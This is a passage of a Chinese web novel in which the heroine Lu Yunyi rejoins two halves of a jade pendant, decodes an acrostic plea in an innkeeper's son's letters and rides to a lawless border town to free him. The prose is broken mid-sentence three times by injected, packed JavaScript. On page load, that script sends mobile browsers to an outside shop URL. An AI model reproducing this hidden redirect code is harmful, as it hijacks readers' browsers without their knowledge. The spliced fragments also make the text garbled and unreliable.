陆云逸点头。 “第三呢?” 萍儿看着她,声音低了些。 “活着回来。” 陆云逸笑了笑。 “我会。” 她答得太轻松。 萍儿却没有笑。 她伸手抱住陆云逸。 这些年,她很少这样抱她。陆云逸长大后,外头的人都把她当小王爷看,萍儿也不得不收起许多亲昵。可在这一刻,她忽然不想管那些规矩。 她抱着她,像抱着当年那个带血的襁褓,像抱着朱珍珍临死前托给她的命,也像抱着自己这些年唯一真正守住的东西。 “云逸,”她轻声说,“你娘给你取这个名字,是想让你有路走。可若有一日,你走得太远,也要记得,世上还有人等你回来。” 陆云逸靠在她肩上。 过了很久,她才低声道:“我知道。” 可是后来,陆云逸常常想,她那时其实并不知道。 她不知道一条路走出去,便不一定能按原样回来。 不知道有些人见过人间之后,便再也不能只做王府里的小王爷。 不知道有些童年里学会的东西,会在后来一一变成刀。 萍儿教她藏住害怕。 皇帝教她制衡人心。 父亲教她在皇权底下沉默。 母亲留给她一个不肯安分的影子。 这些东西原本都是为了让她活。 可人活着活着,总会问,为什么只是活着,便已经这样难。 …… 从回忆里抬起眼时,听雪斋里仍是那盏灯。 萍儿坐在陆云逸对面,手里的月白春袍已经很久没有再碰。 窗外天色暗了。 颜淞留下的药还在小炉上温着,药气一点点散进屋里,苦得很稳。 萍儿看着她,像是从很多年前一路看到了现在。 “你小时候,”萍儿轻声道,“真的很乖。” 陆云逸笑了一下。 “干妈不是说过,一个孩子太懂事,也许本就不是好事。” 萍儿没有反驳。 陆云逸低头看着自己的手。 她的手已经不再是幼时那双小手。掌心有练剑留下的薄茧,指节修长,腕骨仍旧偏细。许多人看见这双手,只会觉得小王爷清贵,不像粗人。 没有人知道,这双手曾经偷偷摸过一块未裁的浅色布料,也曾在夜里握着半块玉佩,想着门外到底有多远。 “颜太医问童年有没有刺激,”陆云逸慢慢道,“其实也没有什么大事。” 萍儿看向她。 陆云逸道:“没有人打我,没有人骂我,没有人把我关在柴房里,也没有什么一夜之间天崩地裂的事。王府待我很好,陛下待我也好,父亲……也没有亏待我。” 她停了停。 “可我从很小的时候就知道,自己不能错。” 萍儿眼中慢慢浮起一点水光。 陆云逸却仍平静。 “不能说错话,不能走错门,不能看错人,不能长错样子,不能让人知道我是谁,也不能忘了我是谁。” 她笑了笑。 “这样长大的孩子,颜太医若说根子早些,也不算冤枉。” 萍儿终于忍不住,低声道:“云逸,是我没有护好你。” 陆云逸摇头。 “不是。” 她看着萍儿。 “你已经把我护到最好了。” 这话是真心。 若没有萍儿,她早就在那些看不见的缝里碎掉了。 萍儿教她温柔,不是让她软弱;教她隐忍,也不是让她屈服。萍儿给她的,是一个人在不能做自己的时候,仍要先保住自己的法子。 只是保住自己之后,陆云逸又想保住更多人。 这便不是萍儿能拦的了。 小炉上的药发出轻轻的响。 萍儿起身去看,背影比陆云逸记忆里瘦了些。她忽然发现,干妈也老了。 从那个抱着带血襁褓的年轻女子,到如今这个在王府深院里替她熬药的中年妇人,萍儿的一生,好像总在替别人守秘密,替别人收拾血迹,替别人把不能说出口的痛藏起来。 陆云逸看着她,轻声道:“干妈。” 萍儿回头。 陆云逸道:“等我的病好了,我想再出去一趟。” 萍儿端药的手微微一紧。 “去哪?” 陆云逸垂下眼。 “还不知道。” 这不是真话。 萍儿听得出来。 可她没有拆穿。 她只是把药端过来,放到陆云逸面前。 “先把药喝了。” 陆云逸看着那碗黑沉沉的药,皱了皱眉。 “苦。” 萍儿看她一眼。 “小王爷还怕苦?” 陆云逸笑了。 那笑里终于带了一点很旧的孩子气。 她端起药,一口一口喝下去。 药确实苦。 苦得舌尖发麻。 可她喝完后,却觉得心里某处安静了一点。 不是真的安静。 只是那些旧年的声音,像被夜色暂时盖住了。 她知道,自己还会想起更多。 想起那些走过的路,遇见的人,欠下的命;想起许多能说的、不能说的,和说出来也无人会真正明白的事。可在这一刻,她只想起小时候坐在王府门槛边,看着外头的人来来往往。 那时她不知道,门外是什么。 如今她知道了。 门外是人间。 也是她这一生再也回避不了的病根。 26. 半壁重圆问旧痕 颜淞的安神方有些用。 陆云逸夜里醒得少了些,白日里也能坐在窗下看一会儿书。只是书页常常半日也不翻一张。他不像从前那样时刻绷着,也不像刚回来那几日那样空落落的。多数时候,他只是安静。安静得像一潭被冰压住的水,表面看着稳,底下却不知还流着什么。 萍儿知道他没有全好。 可一个人若肯吃饭,肯喝药,肯同人说话,在旁人眼里,便已经是好转了。 这日午后,天气阴沉。 顺天城的冬天总是这样。雪不一定落下来,天却先低下去,压得人心里发闷。听雪斋里烧着炭,窗开了一道细缝。风从外头进来,吹得人的发丝轻动。 陆云逸坐在窗下,手边放着一本书,书却没有翻开。 萍儿正在替他整理颜淞留下的药包。太医院送来的药材都分得细,哪一包晚间煎,哪一包睡前用,哪一包若心悸便停,都写得清楚。萍儿看了一遍又一遍,仍不放心,拿小纸条重新记了。 陆云逸看了她许久,忽然问:“干妈,我回来那天带着的那块玉佩,还在吗?” 萍儿的手顿住。 药包上的细绳还缠在她指间,她却像一时忘了松开。 过了片刻,她才抬头看他。 “怎么想起问这个?” 陆云逸没有立刻答。 他看向窗外。院中的梅枝还没开花,枝条细瘦,落在灰白天光下,像一笔一笔冷墨。 “只是想起来了。”他说。 萍儿望着他。 这几日,她已经很怕听见他说“想起来”三个字。因为他每说一次,后头便常有她不愿听、却又不能不听的事。 她把药包放好,起身走到里间。 玉佩没有放在外头。 那夜陆云逸雨中归来,手里死死握着它。后来他病势起伏,萍儿不敢让这东西再落在他手边,便亲自收了起来。她没有交给陆棣铭,也没有让任何下人经手,只拿一方素帕包了,放在自己箱底最里面。 她开箱时,手指比平日慢些。 那方素帕还在那里。 萍儿把帕子取出来,回到外间,在陆云逸面前慢慢展开。 半块玉佩躺在帕子里。 玉色温润,边缘却参差不齐。那断处不像摔碎的,倒像很多年前被人刻意分成两半。岁月久了,断口不再锋利,却仍看得出原本是一整块。 陆云逸伸手去拿。 萍儿没有拦。 他把玉佩托在掌心里,低头看了一会儿。 “我出发前问过干妈。”他说,“这是什么。” 萍儿垂着眼。 “我说过,是个旧物。” “你还说,给我留个念想。” “嗯。” “那时我问,是谁的旧物。” 萍儿没有接话。 陆云逸抬头看她:“干妈没有答。” 萍儿把帕子收拢在手里,像没处安放,只能攥着那一点软布。 “都是很久以前的事了。”她说。 “多久以前?” “久到不必再提。” 陆云逸轻轻笑了一下。 “可它跟着我走了这么多地方。若真是不必再提,干妈当初为何要给我?” 萍儿嘴唇动了动。 她想说,那时只是怕你离京太远,身边没有一件我给的东西。也想说,旧物留在自己身边太久,会让人总记着不该记的事。更想说,或许我那时也有私心,盼着这块玉佩若真有一日能遇见什么。 可这些话,她一句也说不出口。 最后她只说:“我没想到你会问。” 陆云逸看着她。 “那现在呢?” 萍儿摇头。 “云逸,这东西的来历,我现在还不能说。” “不能,还是不愿?” 萍儿抬眼。 这话问得很轻,却像一把小刀,正正落在她藏了许多年的地方。 她看着陆云逸。 这个孩子早已经不是当年坐在门槛边问她外头是什么的小女孩了。 萍儿知道,她迟早会问到自己身上。 可知道是一回事,真等她问来,又是另一回事。 “都有。”萍儿低声说。 陆云逸没有再逼她。 他低头,把那半块玉佩放回帕子里。 “我本来也想等干妈自己说。” 萍儿听见这句,心里忽然有些不安。 陆云逸抬手,从身边旧包袱里取出一样东西。 那包袱是他雨夜回府时带回来的。前些日子他病中翻过,拿出那张写满批注的路线纸。后来萍儿让人收拾屋子,却唯独没有动这个包袱。她知道,这里面装着他这几年走过的路,也装着许多她还没有资格替他整理的东西。 陆云逸把包袱解开。 里面有几件洗旧的衣裳,几张折得很细的纸,还有一本薄册子。最里层缝了一个夹袋,针脚粗糙,像是后来临时缝上去的。 他从夹袋里取出一块玉。 萍儿的脸色霎时变了。 那也是半块玉佩。 玉色、纹路、厚薄,都同帕子里的那半块极像。只是这一块边缘也有断口,缺处正与萍儿手里那半块相合。 陆云逸把两块玉慢慢放到一处。 断口贴合。 严丝合缝。 一整块玉佩,终于在桌上重新成形。 萍儿看着那块玉,连呼吸都忘了。 许多年过去,她几乎已经忘记这玉佩完整时的模样。可当两半合在一起,她才发现自己从未真正忘过。 那纹路像一条细细的河,从西北荒原流到东海之滨。 她的手慢慢伸出去,指尖快要碰到玉佩时,又忽然停下。 “你从哪里得来的?”她问。 声音哑得厉害。 陆云逸看着她。 “干妈认得?” 萍儿没有答。 她的眼睛仍盯着那块玉。 “你从哪里得来的?”她又问了一遍。 陆云逸道:“甘州往西,有一个地方,叫黑石镇。” 萍儿的手猛地收紧。 “黑石镇?” “干妈听过?” 萍儿的神情变化得很快。 最初是惊,随后像想起什么,又压下去。她坐得很直,背却有些僵。 “听过一些。”她说,“那地方不归谁管,乱得很。你去那里做什么?” 陆云逸没有立刻答。 他把两半玉佩重新分开,又推到萍儿面前。 “我原本也没打算去。” 萍儿低头看着桌上那两半玉佩,像是那块玉一旦完整,便把许多隔了很久的事也一并合了回来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520951|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陆云逸垂眼,慢慢道:“我到甘州时,已经是秋末。” …… 那年秋末,陆云逸到了甘州。 甘州在安国西面。若从顺天一路走来,越往西,山河的颜色便越深,也越粗。京城里的秋,是宫墙里的霜、石阶上的落叶、窗下慢慢凉下去的茶。甘州的秋却不这样。它的风更硬,天更高,城墙也更厚。 甘州城内和城外,像两个地方。 城外是一片开阔的荒寒。 远处山脉伏在天边,颜色发黄发灰。风从山口吹来,裹着土腥气和干草味。路边常有骡马经过,蹄子踩起尘土,落在人衣襟上,很快便是一层浅灰。出了城再往西,村庄渐少,客栈和水井也隔得远,人在那样的路上走久了,容易觉得天地太大,自己太小。 可甘州城内又不同。 城门一进,便是另一番热闹。街道宽,石板被车轮磨得发亮。两旁铺子挨着铺子,卖皮货的、卖药材的、卖马具的、卖粗布的,还有从南边来的茶叶铺子。酒肆门口挂着羊腿,热锅里滚着肉汤,香气混着马粪味、皮革味、干草味,一并扑到人脸上。 街上人也杂。 有穿安国布袍的商人,有裹着皮袄的边民,有高鼻深目的胡商,也有说着燕云话的马贩。女人们头上裹着布巾,走路快,嗓门也亮。孩童在街边追着木轮跑,差役吆喝着赶车,茶摊边几个人正为一匹马的价钱吵得面红耳赤。 甘州不像顺天那样讲究体面。 这里的人活得更直接。买卖成不成,当街便能吵起来;谁家儿子走了商路,谁家姑娘嫁去边镇,谁家又被盗匪劫了货,半条街都能知道。 陆云逸进城时,并没有打算久住。 她只是一路游历到了这里,想看看西边州城的模样。前些日子走过的地方多是水土温软的州府,到了甘州,连空气都像换了一层骨头。她牵着马,沿街慢慢走,看铺子的招牌,看马市边议价的人,也看城墙角下那些背着包袱坐着歇脚的流民。 她走到一处街角时,忽然听见有人喊了一声。 “珍珍姐?” 那声音很老,带着不敢置信的颤。 陆云逸停下脚步。 街边坐着一个老妇人,头发已经白了大半,身上穿着洗得发旧的青布袄,面前摆着一只竹篮,篮里放着些晒干的枣子和粗布缝的小荷包。她原本正同旁边人说话,此刻却直直看着陆云逸,眼睛睁得很大。 陆云逸看向她。 老妇人扶着旁边的木架站起来,像怕自己看错,往前走了两步。 “珍珍姐?”她又叫了一声。 这一声比方才更轻,却更确定。 陆云逸怔了一下。 甘州离顺天很远。 在这里听见母亲的名字,是她没有想到的事。 她垂下眼,很快便明白过来。自己这些年常听人说,眉眼像母亲。皇帝说过,萍儿说过,陆棣铭虽然不说,可有时看她的眼神也说明了这一点。这个老妇人大约是把她认成了年轻时的朱珍珍。 “老人家,”陆云逸低声道,“你认错人了。” 老妇人却没有立刻收回目光。 她绕着陆云逸看了一会儿,越看眼里越湿。她看她的眉,看她的眼,看她站在那里时那一点清清正正的神气。最后她像终于醒过来,喃喃道:“是了,是了,年岁不对。珍珍姐若还在,也不该是这个样子。” 27. 西风故里识前缘 陆云逸问:“你认得朱珍珍?” 老妇人听见她直呼这个名字,愣了一下。 “你也认得她?” 陆云逸沉默片刻。 “我是她儿子。” 老妇人的嘴唇动了动,像一时没听明白。 “儿子?” “嗯。” “珍珍姐的儿子?” 陆云逸点头。 老妇人的眼泪忽然落下来。 她慌忙用袖子擦,却越擦越多。街边有人看过来,她也顾不上,只盯着陆云逸,急急问:“她如今在哪儿?她可还好?她离开甘州后就再也没有消息了。” 陆云逸看着老妇人。 甘州的风从街口吹过来,把老妇人额边白发吹乱了。她眼里的急切不似作伪。那不是攀附权贵的热络,而是多年后忽然看见旧人影子时,心里压不住的惦念。 陆云逸轻声道:“她已经去世了。” 老妇人一下静住。 街上仍旧喧闹。马车从旁边过去,车轮压过石板。茶摊那头有人大笑,卖肉的正在用刀剁骨头,声音一下一下很钝。可老妇人像是什么都听不见了。 过了很久,她才低声问:“什么时候的事?” “很多年前。”陆云逸道,“生我时难产。” 老妇人慢慢坐回木凳上。 她用手捂住脸,肩膀抖起来。 “怎么就……怎么就没了呢。”她哽咽着说,“她那样好的人,怎么就没了呢。” 陆云逸没有说话。 她不知道该怎么安慰一个为自己母亲流泪的陌生人。 过了一会儿,老妇人抬起头,仔细看他,眼神里多了些疼惜。 “怪不得像。你眉眼像她,尤其是刚才低头的时候,真像。” 她吸了吸鼻子,又道:“你别嫌我老婆子多话。你娘当年救过我的命。” 陆云逸心中微动。 “她救过你?” “救过。那时我还年轻,跟着家里人逃荒到了甘州。那会儿甘州城也没现在这样好,外头乱,城里也乱。我男人死在路上,我一个女人带着孩子,差点被人卖了。是你娘路过,救了我。” 老妇人说着,眼泪又落。 “她不只救了我。后来甘州城修水渠、修路、设粥棚,她也跟着忙。那时她身边还有一位年轻公子,应该就是你爹吧?他们不肯说自己身份,只说是路过的人。可甘州城里老一辈的人都记得,若没有那些年他们帮着筹银子、请工匠、安置流民,城西这一片不知要多死多少人。” 陆云逸听着,心里像被什么轻轻撞了一下。 她知道母亲和父亲年轻时在外行走。 萍儿也讲过一些。 可那些故事到了甘州,忽然有了更重的分量。朱珍珍不再只是牌位上的王妃,也不只是萍儿口中会骑马、会救人的女子。她曾经真实地站在这座城里,救过人,做过事,留下过许多年后仍有人记得的痕迹。 老妇人擦了擦眼泪,像突然想起自己还没问客人。 “你住哪儿?” 陆云逸道:“刚进城,还没定。” 老妇人立刻道:“那去我家住。我们家开旅馆,就在前头不远。虽不是什么大客栈,可干净。你娘救过我,你到了甘州,若还让你去别处住,我死了都没脸见她。” 陆云逸本想推辞,可她看着老妇人通红的眼睛,最后还是点了头。 “那便打扰老人家了。” 老妇人忙把篮子收了,领他往前走。 旅馆在城西一条不算宽的街上。 门面不大,却比陆云逸一路上见过的许多小店整洁。门口挂着一块木牌,上面写着“包家客栈”。前堂摆着几张旧桌,桌面擦得干净。靠墙有个炉子,锅里煮着肉汤,热气腾腾往上冒。后院有马棚和几间客房,客房虽不宽敞,被褥却晒过,闻着有阳光和皂角味。 店里生意还不错。 陆云逸进去时,前堂坐着两桌客人。一桌是马贩,嗓门大,说话带着粗气;一桌是从南边来的布商,正低头算账。柜台后站着一个中年男人,身材结实,脸被风吹得发黑。 老妇人一进门便喊:“成儿,快收拾一间上房。” 那男人抬头,见母亲领着一个年轻公子进来,愣了一下。 “娘,这是?” 老妇人道:“珍珍姐的孩子。” 老包脸色立刻变了。 他从柜台后绕出来,先是看陆云逸,又看向自己母亲。等听老妇人几句话说清来龙去脉,他脸上的拘谨便少了,眼里多了郑重。 “公子若不嫌弃,便在小店多住几日。”老包道,“我娘这些年总念叨朱夫人,说若有机会,一定要报恩。如今朱夫人不在了,能见到公子,也是缘分。” 陆云逸还礼,道了谢。 那一夜,她住在包家客栈后院一间小屋里。 屋子不大,有一张床,一张桌,一盏油灯。窗外能听见马棚里的马偶尔踏蹄,也能听见前堂客人喝酒说话。老妇人亲自送来一碗热汤和两个蒸饼,说甘州风硬,外来人夜里容易冷,吃些热的才好睡。 陆云逸接过汤时,老妇人又看了看她的脸。 那眼神像在看她,又像透过她看另一个人。 “你娘当年也爱这样道谢。”老妇人喃喃道,“明明帮了别人,还总说自己只是顺手。” 陆云逸捧着汤碗,低声道:“她是个很好的人。” 老妇人点头。 “是好人。” 那天夜里,陆云逸睡得并不沉。 不是客栈不安全。 而是朱珍珍这个名字忽然在甘州活了过来,让她有些难以安睡。她想起王府里那幅端庄的画像,想起萍儿说母亲曾经想去看天地,也想起皇帝曾经说她眉眼像母亲。 林鸯鸯像是轻声问,若你娘还在,会不会也救我? 叶开阳也在耳边说,好人也会死。 夜深以后,前堂的声音渐渐低下去。 油灯火苗微晃,陆云逸睁着眼,看着屋顶发暗的梁木,耳边仿佛还有老妇人那一声“珍珍姐”,直到后半夜才睡去。 第二日清晨,客栈前堂已经忙起来。 马贩要热汤,布商要早些出城,几个过路人催着喂马。老包一会儿去厨房,一会儿去柜台,脚不沾地。老妇人坐在门口择菜,偶尔抬头骂儿子动作慢,骂完又招呼客人多吃些。 这家店不是冷清破落的小店。 它有生意,有烟火气,也有一家人日复一日撑起来的踏实。 陆云逸坐在靠窗的位置吃早饭。粥煮得很稠,蒸饼比昨夜软些。她正低头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520952|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃着,忽然看见老包从柜台后取出一封信。 他拿着信,眉头皱得很紧。 看一眼,叹一口气。 又看一眼,又叹一口气。 他显然不识字,或者识得不多。信纸被他捏在手里,像一块烫手的铁。 陆云逸看了片刻,问道:“包掌柜为何叹气?” 老包愣了一下,苦笑道:“叫公子见笑了。家里一点糟心事。” 老妇人在门口听见,脸色也沉了沉。 老包本不想多说,可大约因为陆云逸是朱珍珍的孩子,又住在自家店里,心里便少了些戒备。再加上这事憋了太久,他终于忍不住说起来。 他有个儿子,叫小包。 小包从小比他爹强,读过几年书,能写信,会算账。老包原本指望他留下来管客栈,日子虽不大富贵,总归安稳。可小包不愿意。他觉得甘州城里这一间小旅馆没出息,非要去黑石镇闯荡。 提起黑石镇,老包的脸更沉了。 他说,那地方从来不是正经镇子。 安国人说它在安国边上,燕云人说那里原本归燕云放牧。三十年前打过仗,边界几次来回,最后谁也没把那一小片地方真正理清。安国官府管不了太深,燕云王庭也不愿为它明着派兵。久而久之,那里就成了一块夹缝地。 商队愿意走那里。 因为没税,规矩少,有些在官道上不好走的货,也能从那里绕过去。马匹、皮货、盐、药材、铁器,明里暗里的买卖都有。胆子大的,半年能挣甘州几年挣不到的钱。 可那里也乱。 刀客、逃犯、赌徒、暗商、间人,都往那里钻。今日一个掌柜开店,明日也许店还是那家店,人却换了一拨。有人发财,有人没命。黑石镇的夜里若死了人,第二天只要没人认尸,也就跟死了一条野狗差不多。 老包不愿儿子去,父子俩还大吵过一架。可年轻人心气高,一心觉得自己读过书、会做账、能说话,总能闯出些名堂。小包还说,甘州城里这小客栈太窄,自己不能一辈子端汤喂马。父子俩为此吵了几回。最后小包还是走了,带着几年攒下来的银子,又向家里借了一笔,在黑石镇开了一家逆旅。 最后,小包还是去了。 去了之后,起初倒也来信。说在黑石镇开了一家逆旅,生意还行。又说那里客人杂,消息多,将来若做得好,说不定能比甘州这小店强十倍。 老包嘴上骂儿子心野,心里其实高兴。 可近来不对了。 小包一直没有回来,只一封一封写信要钱。 说店里周转不开,说添置桌椅,说客人赊账不还。包成和老妇人起初没多想。做生意总有周转的时候,儿子在外头不容易,能帮一把是一把。 可后来数目越来越大。 这一次,信才送来不久。送信的人只说黑石镇那边急用银子,叫他快些筹。包成不识几个字,正准备吃完早饭去街口找账房先生帮忙看。 “我心里发慌。”包成攥着信,“他不是没要过钱,可最近要的又多又急。” 陆云逸放下筷子。 “若包掌柜信得过,我可以帮你看看。” 包成一怔。 老妇人忙道:“对,对,公子是读书人,先叫公子看看。” 包成便把信递给她。 28.藏头残信扣荒途 陆云逸展开信纸。 这封信写得很整齐,字比寻常人好些,却不像从容写成。每一行都不长,像写信的人故意断开。 信上写着: “勿念家中事,孩儿在镇上一切尚可。报与父亲知,近来客多,店中开销颇大。官道路远,草料涨价,赊账之人又多。速请父亲筹银二十两,以解一时之急。救急如救火,若迟几日,恐生旁事。我知家中不易,日后必加倍奉还。” 陆云逸读到一半,包成脸色便越来越难看。 “二十两?”老妇人手里的菜叶掉到地上,“他又要这么多银子做什么?” 包成嘴唇发白,嘴里骂了一句:“这小兔崽子……” 可骂完,又说不下去了。 陆云逸把信从头到尾看了一遍,又看了第二遍。 要钱的信,写得太绕。 有些句子也怪。 她抬头问:“以前的信还留着吗?” 老包忙道:“留着,都留着。” 他转身进后头,很快抱出一个旧木匣。木匣里放着一叠信,按年月捆着。看得出他虽然不识字,却很珍惜这些东西。每封信都收得平平整整,有些边角磨损了,也被他用纸夹着。 陆云逸一封一封拆开看。 前几封信确实寻常。 小包说开店,招伙计,雇保镖,买草料,接待商队。话里有年轻人的得意,也有一点对父亲的炫耀。 到最近,信的味道却变了。 要钱变多了。 客气话变多了。 没头没脑的句子也变多了。 其中一封写着: “勿怪孩儿久不归家,镇上近来事多。来往客人杂,夜里也常不得睡。有人说黑石镇钱好挣,孩儿如今才知不易。守店须处处小心,稍不留神便要亏本。” 另一封写着: “救急之银,万望父亲再设法筹些。我知家中艰难,心中愧甚。” 陆云逸把每封信的句头的字指给包成看。 包成不识太多字,却顺着她的手指,一个一个认。认到“救我”时,他整个人像被抽掉了力气,扶住桌角才没有倒下去。 老妇人已经哭出声来。 “我孙啊……” 包成拿过信,明知道自己看不全懂,仍死死盯着那些字。过了片刻,他忽然转身就往外走。 “我去报官!” 陆云逸站起来,拦住他。 “不能去。” 包成眼睛发红:“我儿子在求救!” “信里写了勿报官。” “可不报官怎么办?我一个开店的,能怎么办?” 陆云逸看着他。 “黑石镇那边,甘州官府未必管得了。就算管得了,等文书递过去,人也早知道了。你儿子既然特意写勿报官,说明看信的人可能就在他身边,也说明他怕官府一动,自己先没命。” 包成像被这话打中,整个人晃了一下。 老妇人扶着桌子,眼泪直往下掉。 “那怎么办?那怎么办?” 陆云逸把几封信重新叠好。 “我去看看。” 包成和老妇人同时看向她。 “不行。”老妇人先反应过来,“那地方乱得很,你一个年轻公子,怎么能去?你娘救过我,我不能让你去送死。” 陆云逸道:“我只是去看看。” 包成急道:“公子不必这样。我儿子的事,不能拖你下水。” 陆云逸看着那几封信。 她眼前忽然掠过小包写下这些字时的样子。一个读过几年书、心气很高的年轻人,被困在黑石镇那样的地方,还要在旁人眼皮底下装作向家里要钱。他不能大声求救,只能把活命的指望藏在每一行字开头。 陆云逸把最后一封信收进袖中。 “你们不要再寄钱,也不要报官。若有人再来取钱,便说银子一时凑不齐,要拖两日。” 包成嘴唇动着,却说不出话。 老妇人哭道:“你要是有个三长两短,我怎么对得起珍珍姐啊?” 陆云逸听见朱珍珍的名字,神情微微一顿。 过了片刻,她说:“若我娘当年救过你,那我今日也不能当作没看见。” 片刻后,陆云逸备马出城。 老包给她装了干粮和水,又把小包早年画过的一张简陋地图交给她。老妇人站在门口,手里攥着帕子,眼睛红得厉害。她几次想开口劝,最后都没有劝出来。 陆云逸翻身上马时,甘州的风正从城门外吹进来。 城里仍是热闹的。 肉汤香,马铃响,商人讨价还价,孩子沿街跑过。包家客栈的灯笼在风里轻轻晃。 城外却是另一番天地。 黄土路往西伸出去,越过城墙,越过人声,通向一个规矩够不到、也不太愿意够到的地方。 陆云逸回头看了一眼甘州城。 这一眼里有朱珍珍留下的旧影,也有包家客栈门口那两个无路可走的人。 她握住缰绳。 随后,催马出了城。 往黑石镇去。 …… 陆云逸到黑石镇时,已经是深夜。 她一路催马,没敢多停。甘州城外起初还有几处驿棚和村落,再往西,路便越来越空。风从山口灌下来,吹得马鬃乱飞。夜色落下之后,荒原上的路很难辨,远处只有几处零星火光,像快要灭的炭点。 两百里的急行军,在马儿几乎要口吐白沫时,前方的无边漆黑中终于浮现出一片凌乱的轮廓。 黑石镇就在那样的夜色里。 它不是甘州那样的城。 没有高大的城门,没有整齐的街道,也没有守城差役盘查路引。镇外只有一道低矮土墙,墙上补过许多次,深一块浅一块,像久病之人的皮肤。木栅歪斜地立着,门口有两个持刀的人靠着火盆打盹。说是看门,倒更像收钱的匪。 陆云逸没有从正门进。 她绕到镇子北边,找了一处土墙塌陷的地方,把马拴在背风处,自己翻墙进去。 老包说这里没有官府,陆云逸眯着眼仔细观察这地方,还有几分正经镇子的模样。 镇子依着一道干涸的河床蜿蜒而建,两侧是低矮的土坯房,间或有两三层的夯土楼,黑黢黢地戳在夜色里。 镇中比她想象得还乱。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522269|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 深夜了,街上仍有灯。酒肆半掩着门,里头传出粗哑的笑声和碗碟碰撞声。赌坊门口有人骂骂咧咧,被两个壮汉拖出去,丢在墙根下。远处挂着红灯的屋子里传出女子的歌声,唱得不成调,像只是为了让人知道那屋子还开着门。 沿着路慢慢走进去,鼻子里钻进各种气味——烤肉的焦香、牲口的腥臊、劣质烈酒的呛辣,还有一股若有若无的铁锈味。 陆云逸站在暗处,看了许久。 黑石镇没有真正睡着的时候。这里的人到了夜里,反倒像卸下了白日那层稀薄的人样,露出更赤裸的贪婪和警惕。她沿着阴影走,避开灯下人多处,凭着小包那张粗陋的地图,慢慢找到了街尾。 无忧逆旅在那里。 门口挂着两盏灯笼,灯笼纸被风吹得一鼓一瘪。灯下的木牌上写着“无忧”二字,字还算新,想来是小包刚开店时请人写的。可那两个字挂在黑石镇深夜的风里,怎么看都像个笑话。 前堂里还有人。 屋内灯火没熄,隐约可见几个人影。有人坐在桌边喝酒,有人倚在门框边,刀搁在膝上。那些人不像客人。客人再粗鲁,也总有行路人的疲惫;他们没有。他们像等着什么,也像看守着什么。 陆云逸没有从前门进去。 她绕到后巷,借着墙边堆放的木箱和柴垛,攀上了屋檐。屋顶瓦片松动,她落脚极轻,仍有细碎灰土滑下去。她伏在屋脊背后,等了片刻,确认院中无人抬头,才慢慢往亮着灯的那间屋子挪去。 小包在二楼靠后的房里。 那间房窗纸破了几处,灯光从破洞里漏出来,在屋檐下投出几块黄斑。陆云逸贴着墙,透过窗缝往里看。 屋里有一个人被绑在椅子上。 头发乱,脸上有伤,嘴角裂着,衣襟上全是脏污。正是老包口中的儿子,小包。只是他比信里那个想出去闯荡的年轻人狼狈太多,整个人瘦了一圈,手腕被绳子勒得发青,眼睛也不敢往门口多看。 灯放在桌上。 灯油快尽,火苗低低跳着。 陆云逸伸手推了推窗。 窗闩从里头插着。 她从袖中摸出一根极细的铁片,探进去,轻轻拨动。窗闩发出极轻的一声响。她停了停,听见门外脚步声走远,才慢慢推窗而入。 小包猛地抬头。 陆云逸竖起一根手指。 他嘴里塞着布,只能瞪大眼睛,喉咙里发出一点含混的声响。 陆云逸落地后,先听外头动静。 楼下有人说话,听不清说什么。院里也有脚步,时远时近。巡逻的人不止一个,且不像寻常看家护院。他们走路时会停,会听,会突然回身。这样的人,杀过人,也怕被人杀。 陆云逸没有多想。 先松绑,把人带出去。 这是当时最要紧的事。 她快步走到小包身后,解开他手腕上的绳结。那结打得很死,绳子又粗,已经陷进皮肉里。陆云逸摸出短刃割绳,动作很快。小包疼得浑身抖,却不敢出声。 绳子刚断了一半,门外脚步忽然停住。 陆云逸手指一顿。 下一刻,门被推开。 29.黑石夜冷见刀光 进来的是一个身材高大的男人,脸上生着杂乱胡须,腰间挂刀,衣裳不像安国人,也不像寻常燕云商旅。他看见屋里多了一个人,眼神一变,立刻张口喊了一句陆云逸听不懂的话。 那声音又急又响。 楼下瞬间有了动静。 陆云逸知道,已经躲不了了。 她抬手掷出短刃。 短刃擦着那男人的喉侧飞过去,扎进门框。那男人本能偏头,没死,却被逼得退了半步。陆云逸趁这一瞬,一脚踢翻桌子,灯盏滚落,火苗险些熄灭。屋里光影乱了一下。 楼下的人已经冲上来。 小包手上的绳还没完全解开,整个人瘫在椅子上,脸色白得像纸。 陆云逸把他往后拖了半尺,自己横在前头。 她处在劣势。 房间窄,退路少,门口已经有人堵住,窗外是二楼屋檐,带着一个半残的人很难立刻跳出去。对方人多,熟悉地形,且杀意来得极快。 第一个人扑进来时,刀光先到。 